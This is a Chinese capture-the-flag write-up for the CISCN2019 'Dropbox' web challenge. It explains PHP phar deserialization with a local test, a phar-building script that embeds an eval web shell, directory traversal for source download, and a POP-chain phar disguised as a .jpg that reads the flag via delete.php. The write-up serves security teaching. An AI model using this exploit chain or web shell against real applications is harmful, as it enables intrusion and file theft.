IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [CISCN2019 华北赛区 Day1 Web1]Dropbox -> 正文阅读

[PHP知识库][CISCN2019 华北赛区 Day1 Web1]Dropbox

知识点:phar反序列化

[CISCN2019 华北赛区 Day1 Web1]Dropbox

phar学习

个人浅要理解:phar是一个压缩文件,然后用一些受影响的文件函数去访问这个phar://文件名,就可以进行反序列化(无论后缀是否为phar)

image-20220109001406718

本地进行测试
首先有个1.php,其中有个file_exists()可以作为利用点

<?php
class hello
{
    var $a = "";
    function __destruct()
    {
        // TODO: Implement __destruct() method.
        eval($this->a);
    }
}

if($_GET['file']!=NULL)
{
    $file = $_GET['file'];
    file_exists($file);
}

写个phar.phar,phar会生成一个test.phar,其中包含我们写的小马,运行phar.phar,如果生成不了phar文件,检查一下自己的php.ini中phar.readonly是不是On,把它改为Off,取消注释;

<?php
class hello
{
	var $a = '';
}

@unlink('test.phar');

$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$b = new hello();
$b->a = '@eval($_GET[1]);';

$phar->setMetadata($b);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

在这里插入图片描述

然后进行传参
在这里插入图片描述

解题过程

首先是登录界面,注册账号,然后登录

image-20220102093629052

登录进去之后,可以上传文件,

image-20220102093809975

上传图片成功,但是上传php文件就不行,提示我们只能上传图片格式的文件

image-20220102093958863

同时提供了下载和删除功能,在下载功能里download.php中,我们可以修改filename,注意目录穿越,比如(…/…/index.php)从而达到任意文件读取,将所有的源码下载下来

构造pop链

几乎所有的文件,都用到了class.php,里面存放了三个类,几乎所有的功能都和这三个类有关系

其中注意Filelist类中的__call()魔术方法

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

__call()魔术方法会在对象调用的方法不存在时,自动执行。func是调用的方法名,args是方法的参数

在本题中这个函数是干嘛的呢?具体分析参考沐目师傅的博客[CISCN2019 华北赛区 Day1 Web1]Dropbox_沐目的博客-CSDN博客

在index.php中,

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

Name()和Size()方法在每个类中都不存在,所以会遍历每一个文件,注意构造函数中已经将该目录下的文件的名称都放到了files变量中,所以files变量是一个数组变量

image-20220108234650050

然后__call()函数又会将每一个文件执行func()的执行结果返回至results数组中

image-20220108234903141

然后在析构函数中将返回的结果返回给用户

image-20220108235200729

审计源码,在class.php中,File类中有close()方法,可以进行文件包含

    public function close() {
        return file_get_contents($this->filename);
    }

找触发条件,在class.php中,有User类,其中__destruct()魔术方法,可以调用close()方法

    public function __destruct() {
        //调用close方法,但是该类没有close方法,所以是调用File类的close方法
        $this->db->close();
    }

但是如果直接调用的话,不会有回显,需要用到FileList类中的__call()魔术方法,将close()执行得到的信息放入

生成test.phar文件的脚本

<?php

class User {
    public $db;
}
class FileList {
    private $files;
    public function __construct()
    {
        $this->files = array(new File());
    }
}

class File {
    public $filename = '/flag.txt';
}
$a = new User();
$a->db = new FileList();

@unlink('test.phar');

$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

几点注意的地方

在download.php中,限制了访问的目录,所以只能在delete.php中利用payload

image-20220108235435226

delete.php中,使用了File类的delete()函数,而delete()函数中有unlink(),触发phar反序列化,参数为filename,所以在得到flag的时候修改filename为phar://test/jpg

image-20220108235658616

文件上传和删除

修改文件后缀为.jpg,然后上传

image-20220108231719111

删除文件修改文件名称为phar://test.jpg,触发phar反序列化执行

image-20220108232444726

得到flag

遇到的问题

在执行phar.phar文件的时候,无法正常执行,生成不了新的phar文件,查了查资料,需要修改php.ini中的配置。
在php.ini中,phar.readonly默认选项为On,无法生成phar文件要将php.ini中的phar.readonly选项设置为Off

在没有修改配置的时候,phar.phar运行的时候,会报错
Fatal error: Uncaught UnexpectedValueException: creating archive “test.phar” disabled by the php.ini setting phar.readonly in…
在这里插入图片描述
将php.ini中的配置进行修改,然后再执行,即可生成test.phar文件

在这里插入图片描述

参考链接

  1. 初探phar:// - 先知社区 (aliyun.com)
  2. [CISCN2019 华北赛区 Day1 Web1]Dropbox之愚见 - 简书 (jianshu.com)
  3. [CISCN2019 华北赛区 Day1 Web1]Dropbox_沐目的博客-CSDN博客
  4. CISCN2019 华北赛区 Day1 Web1]Dropbox_silence1_的博客-CSDN博客_ctf phar反序列化
  5. 利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-11 23:46:49  更:2022-01-11 23:47:25 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:27:59-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码